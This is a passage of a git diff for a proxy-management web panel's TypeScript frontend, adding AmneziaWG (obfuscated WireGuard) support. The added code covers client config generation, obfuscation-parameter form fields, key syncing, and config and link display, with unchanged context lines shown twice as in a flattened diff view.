+            tunnelAllowedIPs={editingTunnelAllowedIPs}
             inbounds={inbounds}
             inbounds={inbounds}
             tgBotEnable={tgBotEnable}
             tgBotEnable={tgBotEnable}
             groups={allGroups}
             groups={allGroups}
@@ -1851,6 +1863,7 @@ export default function ClientsPage() {
             open={infoOpen}
             open={infoOpen}
             client={infoClient}
             client={infoClient}
             inboundsById={inboundsById}
             inboundsById={inboundsById}
+            tunnelAllowedIPs={viewingTunnelAllowedIPs}
             isOnline={infoClient ? isOnline(infoClient.email) : false}
             isOnline={infoClient ? isOnline(infoClient.email) : false}
             subSettings={subSettings}
             subSettings={subSettings}
             onOpenChange={setInfoOpen}
             onOpenChange={setInfoOpen}
@@ -1861,6 +1874,7 @@ export default function ClientsPage() {
             open={qrOpen}
             open={qrOpen}
             client={qrClient}
             client={qrClient}
             inboundsById={inboundsById}
             inboundsById={inboundsById}
+            tunnelAllowedIPs={viewingTunnelAllowedIPs}
             subSettings={subSettings}
             subSettings={subSettings}
             onOpenChange={setQrOpen}
             onOpenChange={setQrOpen}
           />
           />

+ 110 - 0
frontend/src/pages/clients/amneziawgConfig.ts

@@ -0,0 +1,110 @@
+import { formatInboundLabel } from '@/lib/inbounds/label';
+import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// AmneziaWG clients are wire-identical to WireGuard clients (same
+// privateKey/publicKey/allowedIPs/preSharedKey/keepAlive fields on
+// model.Client — see wireguardConfig.ts's isWireguardClient), so this duck
+// type can't tell the two protocols apart on its own; findAmneziaWGInbound's
+// protocol==='amneziawg' filter below is what actually disambiguates.
+export function isAmneziaWGClient(client: ClientRecord | null | undefined): boolean {
+  if (!client) return false;
+  return !!(
+    client.privateKey ||
+    client.publicKey ||
+    client.allowedIPs ||
+    client.preSharedKey ||
+    client.keepAlive
+  );
+}
+
+export function findAmneziaWGInbound(
+  client: ClientRecord | null | undefined,
+  inboundsById: Record<number, InboundOption>,
+): InboundOption | undefined {
+  return (client?.inboundIds || [])
+    .map((id) => inboundsById[id])
+    .find((ib) => ib?.protocol === 'amneziawg');
+}
+
+// h4Line renders one H magic-header line, matching the Go backend's
+// hOrDefault fallback (blank -> the classic 1/2/3/4 WireGuard message type).
+function hLine(key: string, value: string | undefined, fallback: string): string {
+  return `${key} = ${value && value.trim() !== '' ? value : fallback}`;
+}
+
+// addressOverride carries this inbound's own AllowedIPs (ClientHydrateSchema's
+// tunnelAllowedIPs). ClientRecord.allowedIPs is a single shared column, so for
+// an identity attached to both WireGuard and AmneziaWG it holds the WireGuard
+// address — writing that into the AmneziaWG .conf yields an unroutable peer.
+export function buildAmneziaWGClientConfig(
+  client: ClientRecord,
+  inbound: InboundOption | undefined,
+  host = window.location.hostname,
+  publicHost = '',
+  addressOverride = '',
+): string {
+  const server = inbound?.awgServer;
+  const endpointHost = resolveShareHost(
+    inbound ?? {},
+    inbound?.nodeAddress ?? '',
+    preferPublicHost(host, publicHost),
+  );
+  const address = addressOverride || client.allowedIPs || '10.8.1.2/32';
+  const endpoint = `${endpointHost}:${inbound?.port || ''}`;
+  const inboundName = inbound ? formatInboundLabel(inbound.tag, inbound.remark) : '';
+  const remark = [inboundName, client.email, client.comment].filter(Boolean).join(' - ');
+
+  // These land unescaped in [Interface]; a newline here would inject a
+  // config line (e.g. a rogue PostUp) into the downloaded .conf.
+  const privateKey = client.privateKey || client.password || '';
+  for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) {
+    if (/[\r\n]/.test(v)) return '';
+  }
+
+  const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== '');
+  const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`];
+  if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`);
+  if (server?.mtu && server.mtu > 0) lines.push(`MTU = ${server.mtu}`);
+
+  // AmneziaWG obfuscation parameters — must match the server's values.
+  lines.push(`Jc = ${server?.jc ?? 5}`);
+  lines.push(`Jmin = ${server?.jmin ?? 10}`);
+  lines.push(`Jmax = ${server?.jmax ?? 50}`);
+  lines.push(`S1 = ${server?.s1 ?? 30}`);
+  lines.push(`S2 = ${server?.s2 ?? 45}`);
+  if (server?.s3) lines.push(`S3 = ${server.s3}`);
+  if (server?.s4) lines.push(`S4 = ${server.s4}`);
+  lines.push(hLine('H1', server?.h1, '1'));
+  lines.push(hLine('H2', server?.h2, '2'));
+  lines.push(hLine('H3', server?.h3, '3'));
+  lines.push(hLine('H4', server?.h4, '4'));
+  if (server?.i1) lines.push(`I1 = ${server.i1}`);
+  if (server?.i2) lines.push(`I2 = ${server.i2}`);
+  if (server?.i3) lines.push(`I3 = ${server.i3}`);
+  if (server?.i4) lines.push(`I4 = ${server.i4}`);
+  if (server?.i5) lines.push(`I5 = ${server.i5}`);
+  const optional31: Array<[string, string | undefined]> = [
+    ['HeaderProtectionKey', server?.headerProtectionKey],
+    ['ContentPaddingAddition', server?.contentPaddingAddition],
+    ['RekeyAfterTime', server?.rekeyAfterTime],
+    ['RekeyTimeout', server?.rekeyTimeout],
+    ['RejectAfterTime', server?.rejectAfterTime],
+    ['KeepaliveTimeout', server?.keepaliveTimeout],
+    ['MaxHandshakeAttempts', server?.maxHandshakeAttempts],
+  ];
+  for (const [key, value] of optional31) {
+    if (value && value.trim() !== '') lines.push(`${key} = ${value}`);
+  }
+  if (server?.randomTrailers) lines.push('RandomTrailers = on');
+  if (server?.disableCookies) lines.push('DisableCookies = on');
+
+  lines.push('');
+  if (remark) lines.push(`# ${remark}`);
+  lines.push('[Peer]', `PublicKey = ${server?.publicKey || ''}`);
+  if (client.preSharedKey) lines.push(`PresharedKey = ${client.preSharedKey}`);
+  lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
+  if (client.keepAlive && client.keepAlive > 0)
+    lines.push(`PersistentKeepalive = ${client.keepAlive}`);
+  return lines.join('\n');
+}

+ 1 - 0
frontend/src/pages/hosts/HostList.tsx

@@ -39,6 +39,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',

+ 17 - 2
frontend/src/pages/inbounds/InboundsPage.tsx

@@ -25,8 +25,14 @@ import {
 import { HttpUtil, SizeFormatter, RandomUtil } from '@/utils';
 import { HttpUtil, SizeFormatter, RandomUtil } from '@/utils';
 import { buildClonePayload } from '@/lib/xray/inbound-clone';
 import { buildClonePayload } from '@/lib/xray/inbound-clone';
 import { NODE_ELIGIBLE_PROTOCOLS } from '@/lib/xray/node-protocols';
 import { NODE_ELIGIBLE_PROTOCOLS } from '@/lib/xray/node-protocols';
-import { genInboundLinks, genWireguardLinks, preferPublicHost } from '@/lib/xray/inbound-link';
+import {
+  genAmneziaWGLinks,
+  genInboundLinks,
+  genWireguardLinks,
+  preferPublicHost,
+} from '@/lib/xray/inbound-link';
 import { inboundFromDb } from '@/lib/xray/inbound-from-db';
 import { inboundFromDb } from '@/lib/xray/inbound-from-db';
+import { Protocols } from '@/schemas/primitives';
 import { coerceInboundJsonField, type DBInbound } from '@/models/dbinbound';
 import { coerceInboundJsonField, type DBInbound } from '@/models/dbinbound';
 import { useTheme } from '@/hooks/useTheme';
 import { useTheme } from '@/hooks/useTheme';
 import { useMediaQuery } from '@/hooks/useMediaQuery';
 import { useMediaQuery } from '@/hooks/useMediaQuery';
@@ -335,7 +341,16 @@ export default function InboundsPage() {
               content: genWireguardLinks(genInput),
               content: genWireguardLinks(genInput),
             },
             },
           ]
           ]
-        : undefined;
+        : projected.protocol === Protocols.AMNEZIAWG
+          ? [
+              { key: 'config', label: t('pages.clients.config'), content },
+              {
+                key: 'links',
+                label: t('pages.clients.tabLinks'),
+                content: genAmneziaWGLinks(genInput),
+              },
+            ]
+          : undefined;
       openText({
       openText({
         title: t('pages.inbounds.exportLinksTitle'),
         title: t('pages.inbounds.exportLinksTitle'),
         content,
         content,

+ 46 - 0
frontend/src/pages/inbounds/form/InboundFormModal.tsx

@@ -21,6 +21,7 @@ import { HttpUtil, NumberFormatter, RandomUtil, SizeFormatter, Wireguard } from
 import type { RealityScanResult } from '@/generated/types';
 import type { RealityScanResult } from '@/generated/types';
 import { rawInboundToFormValues, formValuesToWirePayload } from '@/lib/xray/inbound-form-adapter';
 import { rawInboundToFormValues, formValuesToWirePayload } from '@/lib/xray/inbound-form-adapter';
 import { createDefaultInboundSettings } from '@/lib/xray/inbound-defaults';
 import { createDefaultInboundSettings } from '@/lib/xray/inbound-defaults';
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
 import { composeInboundTag, isAutoInboundTag, type InboundTagInput } from '@/lib/xray/inbound-tag';
 import { composeInboundTag, isAutoInboundTag, type InboundTagInput } from '@/lib/xray/inbound-tag';
 import {
 import {
   canEnableReality,
   canEnableReality,
@@ -56,6 +57,7 @@ import './InboundFormModal.css';
 import { AdvancedAllEditor, AdvancedSliceEditor } from './advanced-editors';
 import { AdvancedAllEditor, AdvancedSliceEditor } from './advanced-editors';
 import { formatInboundIssue, formatInboundValidation } from './formatValidationError';
 import { formatInboundIssue, formatInboundValidation } from './formatValidationError';
 import {
 import {
+  AmneziawgFields,
   HttpFields,
   HttpFields,
   HysteriaFields,
   HysteriaFields,
   MixedFields,
   MixedFields,
@@ -347,6 +349,41 @@ export default function InboundFormModal({
     setV('settings.secretKey', kp.privateKey);
     setV('settings.secretKey', kp.privateKey);
   };
   };
 
 
+  // AmneziaWG uses the same Curve25519 keys as WireGuard, just nested under
+  // settings.server instead of flat on settings — see amneziawg.ts. Unlike
+  // WireGuard's Xray-native inbound (which re-derives its public key at
+  // runtime and never stores one), AmneziaWG's server.publicKey is a real,
+  // persisted field the Go backend reads directly, so it must be kept in
+  // sync even when the user free-types a new private key instead of using
+  // the regenerate button.
+  const awgPrivateKey = useWatch({ control, name: 'settings.server.privateKey' });
+  const awgPubKey =
+    typeof awgPrivateKey === 'string' && awgPrivateKey.length > 0
+      ? Wireguard.generateKeypair(awgPrivateKey).publicKey
+      : '';
+
+  useEffect(() => {
+    if (protocol === Protocols.AMNEZIAWG) {
+      setV('settings.server.publicKey', awgPubKey);
+    }
+    /* eslint-disable-next-line react-hooks/exhaustive-deps */
+  }, [awgPubKey, protocol]);
+
+  const regenInboundAwg = () => {
+    const kp = Wireguard.generateKeypair();
+    setV('settings.server.privateKey', kp.privateKey);
+    setV('settings.server.publicKey', kp.publicKey);
+  };
+
+  // Randomizes the AmneziaWG 3.1 obfuscation set client-side; the shared
+  // generator mirrors the Go backend's amneziawg.GenerateObfuscation31.
+  const regenInboundAwgObfuscation = () => {
+    const obf = generateAwgObfuscation();
+    for (const [field, value] of Object.entries(obf)) {
+      setV(`settings.server.${field}`, value);
+    }
+  };
+
   const matchesVlessAuth = (
   const matchesVlessAuth = (
     block: { id?: string; label?: string } | undefined | null,
     block: { id?: string; label?: string } | undefined | null,
     authId: string,
     authId: string,
@@ -740,6 +777,14 @@ export default function InboundFormModal({
         <WireguardFields wgPubKey={wgPubKey} regenInboundWg={regenInboundWg} />
         <WireguardFields wgPubKey={wgPubKey} regenInboundWg={regenInboundWg} />
       )}
       )}
 
 
+      {protocol === Protocols.AMNEZIAWG && (
+        <AmneziawgFields
+          awgPubKey={awgPubKey}
+          regenInboundAwg={regenInboundAwg}
+          regenInboundAwgObfuscation={regenInboundAwgObfuscation}
+        />
+      )}
+
       {protocol === Protocols.TUN && <TunFields />}
       {protocol === Protocols.TUN && <TunFields />}
 
 
       {protocol === Protocols.TUNNEL && <TunnelFields />}
       {protocol === Protocols.TUNNEL && <TunnelFields />}
@@ -1077,6 +1122,7 @@ export default function InboundFormModal({
                     Protocols.TUN,
                     Protocols.TUN,
                     Protocols.WIREGUARD,
                     Protocols.WIREGUARD,
                     Protocols.MTPROTO,
                     Protocols.MTPROTO,
+                    Protocols.AMNEZIAWG,
                   ] as string[]
                   ] as string[]
                 ).includes(protocol) || isFallbackHost
                 ).includes(protocol) || isFallbackHost
                   ? [
                   ? [

+ 216 - 0
frontend/src/pages/inbounds/form/protocols/amneziawg.tsx

@@ -0,0 +1,216 @@
+import { useTranslation } from 'react-i18next';
+import { Button, Form, Input, InputNumber, Space, Switch } from 'antd';
+import { ReloadOutlined } from '@ant-design/icons';
+
+import { FormField } from '@/components/form/rhf';
+
+interface AmneziawgFieldsProps {
+  awgPubKey: string;
+  regenInboundAwg: () => void;
+  regenInboundAwgObfuscation: () => void;
+}
+
+export default function AmneziawgFields({
+  awgPubKey,
+  regenInboundAwg,
+  regenInboundAwgObfuscation,
+}: AmneziawgFieldsProps) {
+  const { t } = useTranslation();
+  return (
+    <>
+      <Form.Item label={t('pages.xray.amneziawg.privateKey')}>
+        <Space.Compact block>
+          <FormField name={['settings', 'server', 'privateKey']} noStyle>
+            <Input style={{ width: 'calc(100% - 32px)' }} />
+          </FormField>
+          <Button
+            aria-label={t('regenerate')}
+            icon={<ReloadOutlined />}
+            onClick={regenInboundAwg}
+          />
+        </Space.Compact>
+      </Form.Item>
+      <Form.Item label={t('pages.xray.amneziawg.publicKey')}>
+        <Input value={awgPubKey} disabled />
+      </Form.Item>
+      <FormField
+        name={['settings', 'server', 'subnetIp']}
+        label={t('pages.xray.amneziawg.subnetIp')}
+      >
+        <Input placeholder="10.8.1.0" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'subnetCidr']}
+        label={t('pages.xray.amneziawg.subnetCidr')}
+      >
+        <InputNumber min={1} max={32} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'mtu']} label={t('pages.xray.amneziawg.mtu')}>
+        <InputNumber min={1} style={{ width: '100%' }} />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'primaryDns']}
+        label={t('pages.xray.amneziawg.primaryDns')}
+      >
+        <Input placeholder="8.8.8.8" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'secondaryDns']}
+        label={t('pages.xray.amneziawg.secondaryDns')}
+      >
+        <Input placeholder="8.8.4.4" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'externalInterface']}
+        label={t('pages.xray.amneziawg.externalInterface')}
+        extra={t('pages.xray.amneziawg.externalInterfaceHint')}
+      >
+        <Input placeholder="eth0" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6Enabled']}
+        label={t('pages.xray.amneziawg.ipv6Enabled')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6Subnet']}
+        label={t('pages.xray.amneziawg.ipv6Subnet')}
+        extra={t('pages.xray.amneziawg.ipv6SubnetHint')}
+      >
+        <Input placeholder="fd86:ea04:1115::/64" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6ExternalInterface']}
+        label={t('pages.xray.amneziawg.ipv6ExternalInterface')}
+        extra={t('pages.xray.amneziawg.ipv6ExternalInterfaceHint')}
+      >
+        <Input placeholder="eth0" />
+      </FormField>
+      <Form.Item label={t('pages.xray.amneziawg.obfuscation')}>
+        <Button icon={<ReloadOutlined />} onClick={regenInboundAwgObfuscation}>
+          {t('pages.xray.amneziawg.regenerateObfuscation')}
+        </Button>
+      </Form.Item>
+      <FormField name={['settings', 'server', 'jc']} label={t('pages.xray.amneziawg.jc')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'jmin']} label={t('pages.xray.amneziawg.jmin')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'jmax']} label={t('pages.xray.amneziawg.jmax')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's1']} label={t('pages.xray.amneziawg.s1')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's2']} label={t('pages.xray.amneziawg.s2')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's3']} label={t('pages.xray.amneziawg.s3')}>
+        <InputNumber min={0} max={64} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's4']} label={t('pages.xray.amneziawg.s4')}>
+        <InputNumber min={0} max={32} style={{ width: '100%' }} />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'h1']}
+        label={t('pages.xray.amneziawg.h1')}
+        extra={t('pages.xray.amneziawg.hHint')}
+      >
+        <Input placeholder="1 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h2']} label={t('pages.xray.amneziawg.h2')}>
+        <Input placeholder="2 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h3']} label={t('pages.xray.amneziawg.h3')}>
+        <Input placeholder="3 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h4']} label={t('pages.xray.amneziawg.h4')}>
+        <Input placeholder="4 or 100-800" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'i1']}
+        label={t('pages.xray.amneziawg.i1')}
+        extra={t('pages.xray.amneziawg.i1Hint')}
+      >
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i2']} label={t('pages.xray.amneziawg.i2')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i3']} label={t('pages.xray.amneziawg.i3')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i4']} label={t('pages.xray.amneziawg.i4')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i5']} label={t('pages.xray.amneziawg.i5')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'headerProtectionKey']}
+        label={t('pages.xray.amneziawg.headerProtectionKey')}
+        extra={t('pages.xray.amneziawg.headerProtectionKeyHint')}
+      >
+        <Input />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'contentPaddingAddition']}
+        label={t('pages.xray.amneziawg.contentPaddingAddition')}
+        extra={t('pages.xray.amneziawg.contentPaddingAdditionHint')}
+      >
+        <Input placeholder="8-64" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rekeyAfterTime']}
+        label={t('pages.xray.amneziawg.rekeyAfterTime')}
+        extra={t('pages.xray.amneziawg.timingRangeHint')}
+      >
+        <Input placeholder="100-160" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rekeyTimeout']}
+        label={t('pages.xray.amneziawg.rekeyTimeout')}
+      >
+        <Input placeholder="3-10" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rejectAfterTime']}
+        label={t('pages.xray.amneziawg.rejectAfterTime')}
+      >
+        <Input placeholder="190-250" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'keepaliveTimeout']}
+        label={t('pages.xray.amneziawg.keepaliveTimeout')}
+      >
+        <Input placeholder="8-20" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'maxHandshakeAttempts']}
+        label={t('pages.xray.amneziawg.maxHandshakeAttempts')}
+        extra={t('pages.xray.amneziawg.maxHandshakeAttemptsHint')}
+      >
+        <Input placeholder="15-50" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'randomTrailers']}
+        label={t('pages.xray.amneziawg.randomTrailers')}
+        extra={t('pages.xray.amneziawg.randomTrailersHint')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'disableCookies']}
+        label={t('pages.xray.amneziawg.disableCookies')}
+        extra={t('pages.xray.amneziawg.disableCookiesHint')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+    </>
+  );
+}

+ 1 - 0
frontend/src/pages/inbounds/form/protocols/index.ts

@@ -7,3 +7,4 @@ export { default as HttpFields } from './http';
 export { default as MixedFields } from './mixed';
 export { default as MixedFields } from './mixed';
 export { default as MtprotoFields } from './mtproto';
 export { default as MtprotoFields } from './mtproto';
 export { default as VlessFields } from './vless';
 export { default as VlessFields } from './vless';
+export { default as AmneziawgFields } from './amneziawg';

+ 6 - 0
frontend/src/pages/inbounds/form/protocols/wireguard.tsx

@@ -24,6 +24,12 @@ export default function WireguardFields({ wgPubKey, regenInboundWg }: WireguardF
       <Form.Item label={t('pages.xray.wireguard.publicKey')}>
       <Form.Item label={t('pages.xray.wireguard.publicKey')}>
         <Input value={wgPubKey} disabled />
         <Input value={wgPubKey} disabled />
       </Form.Item>
       </Form.Item>
+      <FormField name={['settings', 'subnetIp']} label={t('pages.xray.wireguard.subnetIp')}>
+        <Input placeholder="10.0.0.0" />
+      </FormField>
+      <FormField name={['settings', 'subnetCidr']} label={t('pages.xray.wireguard.subnetCidr')}>
+        <InputNumber min={1} max={32} style={{ width: '100%' }} />
+      </FormField>
       <FormField name={['settings', 'mtu']} label="MTU">
       <FormField name={['settings', 'mtu']} label="MTU">
         <InputNumber />
         <InputNumber />
       </FormField>
       </FormField>

+ 80 - 0
frontend/src/pages/inbounds/info/InboundInfoModal.tsx

@@ -10,6 +10,8 @@ import { InfinityIcon } from '@/components/ui';
 import { useDatepicker } from '@/hooks/useDatepicker';
 import { useDatepicker } from '@/hooks/useDatepicker';
 import {
 import {
   genAllLinks,
   genAllLinks,
+  genAmneziaWGConfigs,
+  genAmneziaWGLinks,
   genWireguardConfigs,
   genWireguardConfigs,
   genWireguardLinks,
   genWireguardLinks,
   preferPublicHost,
   preferPublicHost,
@@ -49,6 +51,8 @@ export default function InboundInfoModal({
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
+  const [amneziawgConfigs, setAmneziawgConfigs] = useState<string[]>([]);
+  const [amneziawgLinks, setAmneziawgLinks] = useState<string[]>([]);
   const [subLink, setSubLink] = useState('');
   const [subLink, setSubLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [refreshing, setRefreshing] = useState(false);
   const [refreshing, setRefreshing] = useState(false);
@@ -153,6 +157,28 @@ export default function InboundInfoModal({
           fallbackHostname,
           fallbackHostname,
         }).split('\r\n'),
         }).split('\r\n'),
       );
       );
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
+      setLinks([]);
+    } else if (info.protocol === Protocols.AMNEZIAWG) {
+      setAmneziawgConfigs(
+        genAmneziaWGConfigs({
+          inbound: inboundForLinks,
+          remark: dbInbound.remark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setAmneziawgLinks(
+        genAmneziaWGLinks({
+          inbound: inboundForLinks,
+          remark: dbInbound.remark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setWireguardConfigs([]);
+      setWireguardLinks([]);
       setLinks([]);
       setLinks([]);
     } else {
     } else {
       setLinks(
       setLinks(
@@ -166,6 +192,8 @@ export default function InboundInfoModal({
       );
       );
       setWireguardConfigs([]);
       setWireguardConfigs([]);
       setWireguardLinks([]);
       setWireguardLinks([]);
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
     }
     }
 
 
     if (clientSet?.subId) {
     if (clientSet?.subId) {
@@ -1198,6 +1226,58 @@ export default function InboundInfoModal({
         </>
         </>
       )}
       )}
 
 
+      {inbound?.protocol === Protocols.AMNEZIAWG && amneziawgConfigs.length > 0 && (
+        <>
+          <Divider>{t('pages.inbounds.copyLink')}</Divider>
+          {amneziawgConfigs.map((cfg, idx) => (
+            <Fragment key={idx}>
+              {cfg && (
+                <div className="link-panel">
+                  <div className="link-panel-header">
+                    <Tag color="green">
+                      {t('pages.inbounds.info.peerNumberConfig', { n: idx + 1 })}
+                    </Tag>
+                    <Tooltip title={t('copy')}>
+                      <Button
+                        size="small"
+                        icon={<CopyOutlined />}
+                        aria-label={t('copy')}
+                        onClick={() => copyText(cfg, t)}
+                      />
+                    </Tooltip>
+                    <Tooltip title={t('download')}>
+                      <Button
+                        size="small"
+                        icon={<DownloadOutlined />}
+                        aria-label={t('download')}
+                        onClick={() => downloadText(cfg, `peer-${idx + 1}.conf`)}
+                      />
+                    </Tooltip>
+                  </div>
+                  <code className="link-panel-text">{cfg}</code>
+                </div>
+              )}
+              {amneziawgLinks[idx] && (
+                <div className="link-panel">
+                  <div className="link-panel-header">
+                    <Tag color="green">Peer {idx + 1} link</Tag>
+                    <Tooltip title={t('copy')}>
+                      <Button
+                        size="small"
+                        icon={<CopyOutlined />}
+                        aria-label={t('copy')}
+                        onClick={() => copyText(amneziawgLinks[idx], t)}
+                      />
+                    </Tooltip>
+                  </div>
+                  <code className="link-panel-text">{amneziawgLinks[idx]}</code>
+                </div>
+              )}
+            </Fragment>
+          ))}
+        </>
+      )}
+
       {dbInbound.isSS && !inbound.isSSMultiUser && links.length > 0 && (
       {dbInbound.isSS && !inbound.isSSMultiUser && links.length > 0 && (
         <>
         <>
           <Divider>{t('pages.inbounds.copyLink')}</Divider>
           <Divider>{t('pages.inbounds.copyLink')}</Divider>

+ 1 - 0
frontend/src/pages/inbounds/list/helpers.ts

@@ -89,6 +89,7 @@ export function isInboundMultiUser(record: { protocol: string; settings: unknown
     case 'hysteria':
     case 'hysteria':
     case 'mtproto':
     case 'mtproto':
     case 'wireguard':
     case 'wireguard':
+    case 'amneziawg':
       return true;
       return true;
     case 'shadowsocks':
     case 'shadowsocks':
       return isSSMultiUser({ protocol: 'shadowsocks', settings: readSettings(record.settings) });
       return isSSMultiUser({ protocol: 'shadowsocks', settings: readSettings(record.settings) });

+ 1 - 0
frontend/src/pages/inbounds/list/types.ts

@@ -15,6 +15,7 @@ export type ProtocolFlags = {
   isMixed?: boolean;
   isMixed?: boolean;
   isHTTP?: boolean;
   isHTTP?: boolean;
   isWireguard?: boolean;
   isWireguard?: boolean;
+  isAmneziawg?: boolean;
   isTunnel?: boolean;
   isTunnel?: boolean;
 };
 };
 
 

+ 1 - 1
frontend/src/pages/inbounds/list/useInboundColumns.tsx

@@ -199,7 +199,7 @@ export function useInboundColumns({
               {record.protocol}
               {record.protocol}
             </Tag>,
             </Tag>,
           ];
           ];
-          if (record.isWireguard || record.isHysteria) {
+          if (record.isWireguard || record.isAmneziawg || record.isHysteria) {
             tags.push(
             tags.push(
               <Tag key="n" color="green">
               <Tag key="n" color="green">
                 UDP
                 UDP

+ 57 - 1
frontend/src/pages/inbounds/qr/QrCodeModal.tsx

@@ -6,6 +6,8 @@ import type { CollapseProps } from 'antd';
 import { Protocols } from '@/schemas/primitives';
 import { Protocols } from '@/schemas/primitives';
 import {
 import {
   genAllLinks,
   genAllLinks,
+  genAmneziaWGConfigs,
+  genAmneziaWGLinks,
   genWireguardConfigs,
   genWireguardConfigs,
   genWireguardLinks,
   genWireguardLinks,
   isPostQuantumLink,
   isPostQuantumLink,
@@ -50,6 +52,8 @@ export default function QrCodeModal({
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
+  const [amneziawgConfigs, setAmneziawgConfigs] = useState<string[]>([]);
+  const [amneziawgLinks, setAmneziawgLinks] = useState<string[]>([]);
   const [subLink, setSubLink] = useState('');
   const [subLink, setSubLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [activeKey, setActiveKey] = useState<string[]>([]);
   const [activeKey, setActiveKey] = useState<string[]>([]);
@@ -97,6 +101,31 @@ export default function QrCodeModal({
           fallbackHostname,
           fallbackHostname,
         }).split('\r\n'),
         }).split('\r\n'),
       );
       );
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
+      setLinks([]);
+    } else if (inbound.protocol === Protocols.AMNEZIAWG) {
+      const peerRemark = client?.email
+        ? `${dbInbound.remark}-${client.email}`
+        : dbInbound.remark || '';
+      setAmneziawgConfigs(
+        genAmneziaWGConfigs({
+          inbound,
+          remark: peerRemark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setAmneziawgLinks(
+        genAmneziaWGLinks({
+          inbound,
+          remark: peerRemark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setWireguardConfigs([]);
+      setWireguardLinks([]);
       setLinks([]);
       setLinks([]);
     } else {
     } else {
       setLinks(
       setLinks(
@@ -110,6 +139,8 @@ export default function QrCodeModal({
       );
       );
       setWireguardConfigs([]);
       setWireguardConfigs([]);
       setWireguardLinks([]);
       setWireguardLinks([]);
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
     }
     }
 
 
     const subId = client?.subId;
     const subId = client?.subId;
@@ -154,8 +185,33 @@ export default function QrCodeModal({
         });
         });
       }
       }
     });
     });
+    amneziawgConfigs.forEach((cfg, idx) => {
+      items.push({
+        key: `ac${idx}`,
